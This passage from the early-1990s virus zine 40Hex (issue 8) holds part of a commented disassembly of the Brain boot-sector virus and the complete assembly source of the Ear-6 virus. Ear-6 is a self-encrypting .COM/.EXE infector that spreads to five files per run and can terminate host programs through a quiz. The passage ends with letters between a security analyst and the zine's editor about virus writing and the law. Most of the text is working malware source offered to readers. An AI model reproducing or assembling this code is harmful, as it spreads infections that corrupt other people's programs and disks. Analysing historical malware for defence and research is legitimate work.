mov al,1 ; al=1 == none empty
stc ; Indicate error
retn
markembad:
mov dl,3 ; 3 times
markanotherbad:
call markbad12bit
dec cx
dec dl
jnz markanotherbad
inc cx
call calc1sttrack
call writeFAT ; update FAT
mov al,0 ; al=0 == ok
clc ; indicate success
retn
markbad12bit:
push cx
push dx
mov si,offset readbuffer ; si -> buffer
mov al,cl
shr al,1
jc low_12 ; low bits
call clus2offset12bit
mov ax,[bx+si] ; get FAT entry
and ax,0F000h ; mark it bad
or ax,0FF7h
jmp short putitback ; and put it back
nop
low_12:
call clus2offset12bit
mov ax,[bx+si] ; get FAT entry
and ax,0Fh ; mark it bad
or ax,0FF70h
putitback:
mov [bx+si],ax ; replace FAT entry
mov word ptr ds:[400h][bx+si],ax ; in two places
pop dx
pop cx
retn
FATentry12bit:
push cx
mov si,offset readbuffer ; si->buffer
mov al,cl
shr al,1
; Part 3 of the virus starts here
jc want_high_12
call clus2offset12bit
mov ax,[bx+si]
and ax,0FFFh
jmp short exitFATentry12bit
nop
want_high_12:
call clus2offset12bit ; xxxxxxxxxxxx0000
mov ax,[bx+si] ; ^^^^^^^^^^^^wanted
and ax,0FFF0h ; mask wanted bits
mov cl,4 ; and move to correct
shr ax,cl ; position
exitFATentry12bit:
pop cx
retn
clus2offset12bit:
push dx
mov ax,3
mul cx
shr ax,1 ; ax = cx*1.5
mov bx,ax
pop dx
retn
readFAT:
mov ah,2 ; read
call FAT_IO
retn
writeFAT:
mov ah,3 ; write
call FAT_IO
retn
FAT_IO:
mov cx,4 ; try four times
FAT_IOLoop:
push cx
push ax
mov ah,0 ; reset disk
int 6Dh ; int 13h
pop ax
jc tryFAT_IOagain
mov bx,offset readbuffer
mov al,4 ; 4 sectors
mov dh,0 ; head 0
mov dl,curdrive
mov cx,2 ; sector 2
push ax ; (FAT)
int 6Dh ; int 13h
pop ax
jnc exitFAT_IO
tryFAT_IOagain:
pop cx
loop FAT_IOLoop
pop ax
pop ax
mov al,2
stc ; mark error
retn
exitFAT_IO:
pop cx
retn
calc1sttrack:
push cx
sub cx,2
shl cx,1 ; 2 sectors/cluster
add cx,0Ch ; start of data area
mov ax,cx ; ax = sector
mov cl,12h ; 4096
div cl ; ax/4096 = al rem ah
mov byte ptr firstsector+1,al
mov firsthead,0
inc ah
cmp ah,9 ; past track 9?
jbe notpasttrack9 ; nope, we are ok
sub ah,9 ; otherwise, adjust
mov firsthead,1
notpasttrack9:
mov byte ptr firstsector,ah
pop cx
retn
db 0, 0, 0, 0, 0, 0
r_or_w_root db 3
entrycount dw 35h
tempsave1 dw 303h
tempsave2 dw 0EBEh
tempsave3 dw 1
tempsave4 dw 100h
db 0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
db 8Dh, 98h, 9Fh, 8Eh,0E0h
db ' (c) ashar $'
changeroot:
call readroot ; read in root directory
jc donotchangeroot
push di
call changevolume ; change volume label
pop di
jc donotchangeroot
call writeroot ; write back new root dir
donotchangeroot:
retn
; The following is just garbage bytes
db 0BBh, 9Bh, 04h,0B9h, 0Bh
db 0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
db 0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
db 0C6h, 06h
changevolume:
mov entrycount,6Ch
mov si,offset readbuffer+40h; 3nd dir entry
mov tempsave1,dx
mov ax,entrycount ; 6Ch
shr ax,1
mov tempsave3,ax ; 36h
shr ax,1
mov tempsave2,ax ; 1Bh
xchg ax,cx
and cl,43h ; cx = 3
mov di,tempsave2
add di,1E3h ; di = 01FE
findlabel:
mov al,[si]
cmp al,0
je dolabel ; no mo entries
mov al,[si+0Bh] ; attribute byte
and al,8 ; volume label?
cmp al,8 ; yes?
je dolabel ; then change it!
add si,20h ; go to next directory entry
dec entrycount
jnz findlabel ; loop back
stc ; Error!
retn
db 8Bh
dolabel:
mov bx,[di] ; offset a_data
xor bx,tempsave3 ; bx = 53Ah
mov tempsave3,si ; si->direntry
cli
mov ax,ss
mov tempsave1,ax
mov tempsave2,sp
mov ax,cs
mov ss,ax
mov sp,tempsave3
add sp,0Ch ;->reserved area
mov cl,51h
add dx,444Ch
mov di,2555h
mov cx,0C03h
repe cmpsw
mov ax,0B46h
mov cx,3
rol ax,cl ; ax = 5A30h
mov tempsave3,ax
mov cx,5
mov dx,8
sub tempsave3,5210h ; 820h
push tempsave3 ; store attributes/reserved
; I haven't commented the remainder of this procedure.
; It basically changes the volume label to read "(c) Brain"
; Comment mode OFF
dowhatever:
mov ah,[bx] ; 5a3h
inc bx
mov dl,ah
shl dl,1
jc dowhatever
searchstuff:
mov dl,[bx] ; dl=C2h
inc bx ; bx=53Eh
mov al,dl
shl dl,1
jc searchstuff
add ax,1D1Dh
push ax
inc tempsave3
db 73h, 01h ; jnc $+3
db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
xchg bp,ax
add al,0A1h
xchg bx,ax
add al,8Eh
sar bl,1
add dh,[bp+si]
clc
ret
;db 95h, 04h,0A1h, 93h, 04h, 8Eh
;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h
; Comment mode ON
readroot:
mov r_or_w_root,2 ; set action code
jmp short do_rw_root ; easier to do w/
nop ; mov ah, 2
writeroot:
mov r_or_w_root,3
jmp short do_rw_root ; this is somewhat useless
nop
do_rw_root:
mov dh,0 ; head 0
mov dl,curdrive
mov cx,6 ; sector 6
mov ah,r_or_w_root
mov al,4 ; 4 sectors
mov bx,offset readbuffer
call doint13h
jc exit_rw_root ; quit on error
mov cx,1
mov dh,1 ; head 1
mov ah,r_or_w_root
mov al,3
add bx,800h
call doint13h
exit_rw_root:
retn
doint13h:
mov tempsave1,ax
mov tempsave2,bx
mov tempsave3,cx
mov tempsave4,dx
mov cx,4
doint13hloop:
push cx
mov ah,0 ; Reset disk
int 6Dh
jc errordoingint13h
mov ax,tempsave1
mov bx,tempsave2
mov cx,tempsave3
mov dx,tempsave4
int 6Dh ; int 13h
jnc int13hsuccess
errordoingint13h:
pop cx
loop doint13hloop
stc ; indicate error
retn
int13hsuccess:
pop cx
retn
db 0, 0, 0
; Part 4 of the virus starts here
tempstorecx dw 3
readwritecurrentdata dw 301h
writevirus:
call FATManip
jc exitwritevirus
mov cursector,1
mov curhead,0
mov bx,offset readbuffer
call readcurrent
mov bx,offset readbuffer
mov ax,firstsector
mov cursector,ax
mov ah,firsthead
mov curhead,ah
call writecurrent
call calcnextsector
mov cx,5
mov bx,200h
writeanothersector:
mov tempstorecx,cx
call writecurrent
call calcnextsector
add bx,200h
mov cx,tempstorecx
loop writeanothersector
mov curhead,0
mov cursector,1
mov bx,0
call writecurrent
clc ; indicate success
exitwritevirus:
retn
readcurrent:
mov readwritecurrentdata,201h
jmp short doreadwrite
nop
writecurrent:
mov readwritecurrentdata,301h
jmp short doreadwrite ; This is pointless.
nop
doreadwrite:
push bx
mov cx,4
tryreadwriteagain:
push cx
mov dh,curhead
mov dl,curdrive
mov cx,cursector
mov ax,readwritecurrentdata ; read or write?
int 6Dh ; int 13h
jnc readwritesuccessful
mov ah,0 ; reset disk
int 6Dh ; int 13h
pop cx
loop tryreadwriteagain
pop bx
pop bx
stc ; Indicate error
retn
readwritesuccessful:
pop cx
pop bx
retn
calcnextsector:
inc byte ptr cursector ; next sector
cmp byte ptr cursector,0Ah
jne donecalculate ; finished calculations
mov byte ptr cursector,1 ; clear sector #
inc curhead ; and go to next head
cmp curhead,2 ; if not too large,
jne donecalculate ; we are done
mov curhead,0 ; otherwise clear head #
inc byte ptr cursector+1 ; and advance cylinder
donecalculate:
retn
db 64h, 74h, 61h
; read buffer starts here
; insert your favorite boot block below...
readbuffer:
brain ends
end
40Hex Number 8 Volume 2 Issue 4 File 009
-=PHALCON/SKISM=- Ear-6 Virus
The Ear-6 is a parasitic, non-resident, .COM & .EXE infector. It
infects 5 files everytime it is run. It will traverse towards the root
directory if fewer than 5 files are found. We have no clue as to what
the 'AUX error' that Patti talks about. But then again, Patti isn't
sure as to who she is, let alone an accurate discription on one of our
virii. On activation (1st of any month), it plays ear quiz with
victim. Failure to answer the question will result in program
termination.
-) Gheap
-----------------------------------------------------------------------------
; [Ear-6]
; El virus de oreja y o죆o seis
; Fue escrito por Dark Angel de PHALCON/SKISM
; Yo (el 쟮gel oscuro) escrib� este programa hace muchas semanas.
; No deba modificar este programa y da a otras personas COMO SI
; estar� el suyo.
; 쭰줻de est� mi llama, mama?
; diccionarito
; espa쨚l ingl굎 magnitud size
; abre open mango handle
; aprueba pass (a test) m쟳cara mask
; atras back mensaje message
; azado random mes month
; busca find mont줻 heap
; cierra close oreja, o죆o ear
; cifra code, encrypt, decrypt pila stack
; codo pointer pregunta question
; corto terse, short primer first
; empieza begin remendar patch
; escriba write renuncia reject
; espa쨚l ingl굎 respuesta answer
; fecha date salta exit
; ficha file siguiente following, next
; 죒dice table suspende fail (a test)
; 쮔e gusta? do you like? termina end
; longitud length virus virus (!)
.model tiny
.code
org 100h
longitud_del_virus = TerminaVir - EmpezarVir
longitud_del_escribir = offset termina_escribir - offset escribir
id = 'GH' ; Representa el l죆er de
; PHALCON/SKISM, Garbageheap
Empezar: db 0e9h, 0, 0 ; jmp EmpezarVir
EmpezarVir:
shwing:
remendar1:
mov bx, offset EmpezarCifra
remendar2:
mov cx, ((longitud_del_virus + 1) / 2)
hacia_atras: ; atr쟳
db 2eh
remendar3:
db 81h, 37h, 0, 0 ; xor word ptr cs:[bx], 0
add bx, 2
loop hacia_atras
EmpezarCifra:
call siguiente ; Es estupido, pero es corto
siguiente:
pop bp
sub bp, offset siguiente
mov byte ptr [bp+numinf], 0
cld ; No es necessario, pero
; 쮘or qu� no?
cmp sp, id
jz SoyEXE
SoyCOM: mov di, 100h
push di
lea si, [bp+Primer3]
movsb
jmp short SoyNada
SoyEXE: push ds
push es
push cs
push cs
pop ds
pop es
lea di, [bp+EXE_Donde_JMP] ; el CS:IP original de la ficha
lea si, [bp+EXE_Donde_JMP2] ; infectada
movsw
movsw
movsw
jmp short SoyNada
NombreDelVirus db 0,'[Ear-6]',0 ; En ingl굎, 춑or supuesto!
NombreDelAutor db 'Dark Angel',0
SoyNada:
movsw
mov ah, 1ah ; Esindicece un DTA nuevo
lea dx, [bp+offset nuevoDTA] ; porque no quiere destruir
int 21h ; el DTA original
mov ax, word ptr [bp+remendar1+1]
mov word ptr [bp+tempo], ax
mov ah, 47h ; Obtiene el directorio
xor dl, dl ; presente
lea si, [bp+diroriginal]
int 21h
looper:
lea dx, [bp+offset mascara1] ; "m쟳cara", no "mascara"
call infectar_mascara ; pero no es possible usar
; acentos en MASM/TASM.
; 쵶u� l쟳tima!
; mascara1 es '*.EXE',0
lea dx, [bp+offset mascara2] ; mascara2 es '*.COM',0
call infectar_mascara ; infecta las fichas de COM
cmp byte ptr [bp+numinf], 5 ; 쭴a infectada cinco fichas?
jg saltar ; Si es verdad, no necesita
; busca m쟳 fichas.
mov ah, 3bh ; Cambia el directorio al
lea dx, [bp+puntos] ; directorio anterior
int 21h ; ('..', 'punto punto')
jnc looper
saltar: lea dx, [bp+backslash] ; Cambia el directorio al
mov ah, 3bh ; directorio terminado.
int 21h
mov ah, 2ah ; Activa el primer de
int 21h ; cada mes
cmp dl, 1 ; Si no es el primer,
jnz saltarahora ; 춖altar ahora! (duh-o)
mov ah, 2ch ; 쭿u� hora es?
int 21h
cmp dl, 85 ; 85% probabilidad de
jg saltarahora ; activaci줻
and dx, 7 ; Un n즡ero quasi-azado
shl dl, 1 ; Usalo para determinar
mov bx, bp ; que preguntar� la virus
add bx, dx
mov dx, word ptr [bx+indice] ; 죒dice para el examencito
add dx, bp
inc dx
push dx ; Salva el codo al pregunta
mov ah, 9 ; Escriba el primer parte de
lea dx, [bp+mensaje] ; la pregunta
int 21h
pop dx ; Escriba el parte de la oreja
int 21h ; o el o죆o
dec dx
push dx ; Salva la respuesta correcta
lea dx, [bp+secciones] ; Escriba los secciones de la
int 21h ; oreja y el o죆o
trataotrarespuesta:
mov ah, 7 ; Obtiene la respuesta de la
int 21h ; "v죅tima"
cmp al, '1' ; Necesita una respuesta de
jl trataotrarespuesta ; uno hasta tres
cmp al, '3' ; Renuncia otras respuestas
jg trataotrarespuesta
int 29h ; Escriba la respuesta
pop bx ; El codo al respuesta
; correcta
mov ah, 9 ; Prepara a escribir un
; mensaje
cmp al, byte ptr [bx] ; 쭱s correcta?
jz saltarapidamente ; 릐 aprueba el examencito.
; Pues, salta r쟰idamente.
lea dx, [bp+suspendido] ; Lo siento, pero 쵻d. no
int 21h ; aprueba el examencito f쟠il!
mov ah, 4ch ; Estudie m쟳 y el programa
jmp quite ; permitir� a Ud a continuar.
saltarapidamente:
lea dx, [bp+aprueba]
int 21h
saltarahora:
mov ah, 1ah ; Restaura el DTA original
mov dx, 80h
quite:
cmp sp, id - 4 ; 쭱s EXE o COM?
jz vuelvaEXE
vuelvaCOM:
int 21h ; Restaura el DTA y vuelva
retn ; a la ficha original de COM
vuelvaEXE:
pop es
pop ds ; ds -> PSP
int 21h
mov ax, es
add ax, 10h ; Ajusta para el PSP
add word ptr cs:[bp+EXE_Donde_JMP+2], ax
cli
add ax, word ptr cs:[bp+PilaOriginal+2]
mov ss, ax
mov sp, word ptr cs:[bp+PilaOriginal]
sti
db 0eah ; JMP FAR PTR SEG:OFF
EXE_Donde_JMP dd 0
PilaOriginal dd 0
EXE_Donde_JMP2 dd 0
PilaOriginal2 dd 0
infectar_mascara:
mov ah, 4eh ; Busca la ficha primera
mov cx, 7 ; Cada atributo
brb_brb:
int 21h
jc hasta_la_vista_bebe ; No la busca
xor al, al
call abrir ; Abre la ficha
mov ah, 3fh
mov cx, 1ah
lea dx, [bp+buffer]
int 21h
mov ah, 3eh ; Cierra la ficha
int 21h
lea si,[bp+nuevoDTA+15h] ; Salva cosas sobre la ficha
lea di,[bp+f_atrib] ; Por ejemplo, la fecha de
mov cx, 9 ; creaci줻
rep movsb
cmp word ptr [bp+buffer], 'ZM' ; 쭱s EXE o COM?
jz buscaEXE
buscaCOM:
mov ax, word ptr [bp+f_long] ; 쭯uan grande es la ficha?
sub ax, longitud_del_virus + 3 ; Adjusta para el JMP
cmp ax, word ptr [bp+buffer+1] ; 쮇a es infectada?
jnz infecta_mi_burro ; "infect my ass"
jmp short BuscaMas
buscaEXE:
cmp word ptr [bp+buffer+10h], id
jnz infecta_mi_burro
BuscaMas:
mov ah, 4fh ; Busca otra ficha...
jmp short brb_brb
hasta_la_vista_bebe: ; 쭺e gusta Arnold?
ret
infecta_mi_burro:
; AX = longitud de la ficha infectada
lea si, [bp+buffer]
cmp word ptr [si], 'ZM'
jz InfectaEXE
InfectaCOM:
push ax
mov cx, word ptr [bp+tempo]
mov word ptr [bp+remendar1+1], cx
lea di, [bp+Primer3]
movsb
push si
movsw
mov byte ptr [bp+buffer], 0e9h
pop di
add ax, longitud_del_virus
stosw
mov cx, 3
jmp short TerminaInfeccion
InfectaEXE:
les ax, [si+14h] ; Salva el original empieza
mov word ptr [bp+EXE_Donde_JMP2], ax; CS:IP de la ficha infectada
mov word ptr [bp+EXE_Donde_JMP2+2], es
les ax, [si+0Eh] ; Salva la original locaci줻
mov word ptr [bp+PilaOriginal2], es ; de la pila
mov word ptr [bp+PilaOriginal2+2], ax
mov ax, word ptr [si + 8]
mov cl, 4
shl ax, cl
xchg ax, bx
les ax, [bp+offset nuevoDTA+26]
mov dx, es
push ax
push dx
sub ax, bx
sbb dx, 0
mov cx, 10h
div cx
mov word ptr [si+14h], dx ; Nuevo empieza CS:IP
mov word ptr [si+16h], ax
mov cl, 4
shr dx, cl
add ax, dx
mov word ptr [si+0Eh], ax ; y SS:SP
mov word ptr [si+10h], id
pop dx ; Restaura el magnitud de
pop ax ; la ficha
add ax, longitud_del_virus ; A쨅da el magnitud del virus
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1
mov word ptr [si+4], dx ; Nuevo magnitud de la ficha
mov word ptr [si+2], ax
push cs
pop es
mov ax, word ptr [si+14h]
sub ax, longitud_del_virus + offset Empezarvir
push ax
mov cx, 1ah
TerminaInfeccion:
mov al, 2
call abrir
mov ah, 40h
lea dx, [bp+buffer]
int 21h
mov ax, 4202h
xor cx, cx
cwd ; xor dx,dx
int 21h
mov ah, 2ch ; N즡eros azados en CX y DX
int 21h
mov word ptr [bp+remendar3+2], cx ; Es el nuevo n즡ero de la
; cifra
and cx, 31 ; Pone un n즡ero azado para el
add cx, ((longitud_del_virus + 1) / 2); magnitud de la ficha. Por
; eso, los scanners necesitan
mov word ptr [bp+remendar2+1], cx ; usar "wildcards"
lea di, [bp+tempstore]
mov al, 53h ; push bx
stosb ; (no destruir el mango de la
; ficha)
lea si, [bp+shwing] ; Copia las instrucciones
push si ; para formar la cifra
mov cx, longitud_de_la_cifra
push cx
rep movsb
mov al, 5bh ; pop bx
stosb ; (recuerda mango de la ficha)
lea si, [bp+escribir] ; Copia las instrucciones
mov cx, longitud_del_escribir ; para a쨅da el virus a la
rep movsb ; ficha
mov al, 53h ; push bx
stosb
pop cx ; Copia las instrucciones
pop si ; para invalidar la cifra
rep movsb
mov ax, 0c35bh ; pop bx, retn
stosw
pop ax
; Codo del comienzo de la cifra
add ax, offset EmpezarCifra + longitud_del_virus
mov word ptr [bp+remendar1+1], ax
call antes_del_tempstore
mov ax, 5701h ; BX = mango de la ficha
mov dx, word ptr [bp+f_fecha]
mov cx, word ptr [bp+f_hora]
int 21h ; Restaura fecha y hora
mov ah, 3eh
int 21h
xor ch, ch
mov cl, byte ptr [bp+f_atrib]
mov ax, 4301h
lea dx, [bp+offset nuevoDTA + 30] ; Busca un ficha en el DTA
int 21h
inc byte ptr [bp+numinf]
jmp BuscaMas
Primer3 db 0CDh, 20h, 0
puntos db '..',0
mascara1 db '*.EXE',0
mascara2 db '*.COM',0
abrir: mov ah, 3dh ; Abrir un ficha
lea dx, [bp+nuevoDTA+30] ; Nombre de la ficha es en
int 21h ; el DTA
xchg ax, bx
ret
indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4
dw offset oreja5, offset oreja6, offset oreja4, offset oreja1
oreja1 db '1','Auditory Canal$'
oreja2 db '1','Lobe$'
oreja3 db '2','Anvil$'
oreja4 db '2','Eustachian Tube$'
oreja5 db '3','Auditory Nerve$'
oreja6 db '3','Cochlea$'
mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
secciones db ' located?',13,10
db ' 1. External Ear',13,10
db ' 2. Middle Ear',13,10
db ' 3. Inner Ear',13,10,'( )',8,8,'$'
; No es bueno.
suspendido db 13,10,'You obviously know nothing about ears.'
db 13,10,'Try again after some study.',13,10,'$'
; 쵦spero que s�!
aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10
db '$'
escribir:
mov ah, 40h
mov cx, TerminaVir - EmpezarVir
lea dx, [bp+EmpezarVir]
int 21h
termina_escribir:
backslash db '\'
TerminaVir = $
; Los que sigue son en el mont줻...
longitud_de_la_cifra = offset EmpezarCifra - offset shwing
diroriginal db 64 dup (?)
tempo dw ?
nuevoDTA db 43 dup (?)
numinf db ?
antes_del_tempstore:
; tempstore es el buffer para el parte del programa que a쨅da el virus al fin
; de otro programa
tempstore db (longitud_de_la_cifra*2+longitud_del_escribir+5) dup (?)
; a쨅da cinco para los pop,
; los push, y el retn
buffer db 1ah dup (?)
f_atrib db ? ; atributo de la ficha
f_hora dw ? ; hora de creaci줻
f_fecha dw ? ; fecha de creaci줻
f_long dd ? ; magnitud de la ficha
end Empezar
40Hex Number 8 Volume 2 Issue 4 File 010
Letters to the editor! Well, as you can imagine when I got this
message I was quite startled. Sorry Paul, no top billing this time :-).
Although it is at this point, that I would like to say a couple things.
For instance, the virus community seems to think that their actions go
unnoticed. As you might imagine, this is not quite true. C'mon,
security people get their hands on 40Hex shortly after our boards get
it. Just letting you know that big brother is watching :).
-----------------------------------------------------------------------------
40-Hex Response:
As a Security Analyst I find 40-Hex an incredibly interesting magazine.
The magazine presents entirely different viewpoints then what is in the
industry magazines such as Virus Bulletin, Virus News International and
Virus News and Reviews. Although all three of these publications are good
and very useful to me in my job, 40-Hex does indeed keep my mind open. It
discusses viruses in depth, including commented source code, and has been a
real learning tool for me. There is just not anywhere that you can get the
detailed analysis of a virus except in a magazine like 40-Hex. I can't help
but be torn between my thirst for knowledge about virii and how they work,
and the fear that the more knowledge about virus writing becomes available to
the public, the greater chance that there is going to be more and more garbage
out there and more and more irresponsible people releasing this garbage on
their "friends and neighbors".
I do want to thank 40-Hex for what I consider a very favorable review. I
had to laugh about the comments, because frankly I agreed with them. I guess
that I do get a little melodramatic sometimes. But I do honestly believe
that the knowledge exists out there to create a program/virus that will
be able to escape detection by any method in use today. Whether it will
ever be written and whether it will have destructive capabilities I don't
really know. I don't know of any virus writers that make profits off
their work. While all the anti-virus developers, although they complain
about the work that they have to do to keep up with the virus writers,
certainly make a nice profit on something like a Michelangelo scare. So
the only motivation for the virus writer is the challenge of creating a
nearly undetectable virus.
I am very curious myself to see if the NCSA's prediction of 40,000 virii
by 1994 comes true. I certainly agree with 40-Hex that most of
these virii will be hacks of some of the existing code out there now. The
anti-virus industry itself can't decide on how to count different strains of
viruses, so anyone will be able to make whatever claim they want anyway.
Finally, Dr. Solomon said it best informally at the First International
Virus Prevention Conference. He was talking about how America was founded
on freedom and the rights of the individual. He said that Americans seem
far too willing, in his opinion, to voluntarily give up those rights. Right
now, virus writing is not illegal. And hopefully it never will be, because
what you or I do with our own personal computers is no one else's business
but our own. But when we interfer with someone else's computer or data or
life, that I believe that is where the line is drawn. Its going to be a
very long and hard process to determine responsibility for damages caused by
a virus. Passing a law to make virus writing itself illegal will not solve
the problem. Something, though, has to be done to protect an individual's
or a corporation's rights to have a virus-free working environment. There
are enough problems with buggy commercial software, without having to worry
about virii hitting your computers too. But until that time comes part of
my job will continue to be warning people about the dangers of viruses and
helping them protect their data.
Paul Melka
Response to a Response to a Response:
As the head of the -=PHALCON/SKISM=-, I find your letter a very
interesting response. I thank you for your raving reviews on 40Hex. We
try to make it a magazine that everyone can learn from. Well, I still
debate the undetectable virus issue. Regarding the virus writer/anti-virus
issue, I definately agree, that the anti-virus people are motivated by greed
more then anything else. I am glad to see that you agreed with my oh so
witty comments, they weren't meant to be abusive, just a little comic relief.
I agree with you on the issues regarding a virus-free working
environment. But, as you already know, writing a virus isn't
illegal, it is the spreading that is illegal. Unfortunately, it is too
late to start working on anti-virus writing legislation now. The damage
has been done. The virus issue is fairly similiar to the AIDS issue.
You have to use protection, no matter what. There will never be an end
to virii. Even if everyone stopped writing virii, the infection rate
wouldn't decrease. I don't know of many people that get hit by the
newer strains that have been coming out. Most people still get hit by
Jerusalem, Stoned, and other 'classics'.
I would be very interested in what solutions you may have come up with
to protect the rights of individuals and corporations. I hadn't heard about
Dr. Solomon's comments, until I recieved your letter. Quite frankly, I agree
with what he is saying. Another major problem with making virus writing
illegal is the definition of a virus, or trojan for that matter. It is
very difficult to come up with a concrete definition.
I appreciate your response, and definately encourage other people, either
pro- or anti- virus to respond!
-)GHeap
I don't want anybody complaining about not being able to compile the PS-MPC
utility in 40Hex-8, so listen close. You must set the "unsigned chars" option
on in order for the utility to compile properly. It is in the Options/Compile
menu. Spread the word along with 40Hex...